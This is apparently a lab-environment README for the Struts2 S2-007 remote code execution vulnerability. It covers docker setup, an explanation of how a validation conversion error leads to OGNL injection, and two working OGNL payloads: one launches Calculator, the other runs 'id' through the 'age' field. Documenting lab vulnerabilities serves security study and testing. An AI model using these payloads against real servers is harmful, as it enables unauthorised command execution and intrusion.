Aaron
63285f61aa
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65 lines
2.3 KiB
Markdown
65 lines
2.3 KiB
Markdown
# S2-007 远程代码执行漏洞
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影响版本: 2.0.0 - 2.2.3
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漏洞详情: http://struts.apache.org/docs/s2-007.html
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## 测试环境搭建
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```
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docker compose build
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docker compose up -d
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```
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## 原理
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参考 http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html
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当配置了验证规则 `<ActionName>-validation.xml` 时，若类型验证转换出错，后端默认会将用户提交的表单值通过字符串拼接，然后执行一次 OGNL 表达式解析并返回。例如这里有一个 UserAction：
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```java
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(...)
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public class UserAction extends ActionSupport {
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private Integer age;
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private String name;
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private String email;
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(...)
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```
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然后配置有 UserAction-validation.xml：
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```xml
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<?xml version="1.0" encoding="UTF-8" ?>
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<!DOCTYPE validators PUBLIC
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"-//OpenSymphony Group//XWork Validator 1.0//EN"
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"http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
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<validators>
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<field name="age">
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<field-validator type="int">
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<param name="min">1</param>
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<param name="max">150</param>
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</field-validator>
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</field>
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</validators>
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```
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当用户提交 age 为字符串而非整形数值时，后端用代码拼接 `"'" + value + "'"` 然后对其进行 OGNL 表达式解析。要成功利用，只需要找到一个配置了类似验证规则的表单字段使之转换出错，借助类似 SQLi 注入单引号拼接的方式即可注入任意 OGNL 表达式。
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因为受影响版本为 Struts2 2.0.0 - Struts2 2.2.3，所以这里给出绕过安全配置进行命令执行的 Payload（**弹计算器，无法在本项目环境下运行**）：
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```
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' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@java.lang.Runtime@getRuntime().exec("open /Applications/Calculator.app")) + '
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```
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## Exploit
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@rickgray 在原文中只给了弹计算器的POC，我给出执行任意代码的EXP：
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```
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' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '
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```
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将Exp传入可以利用的输入框（age），得到命令执行结果：
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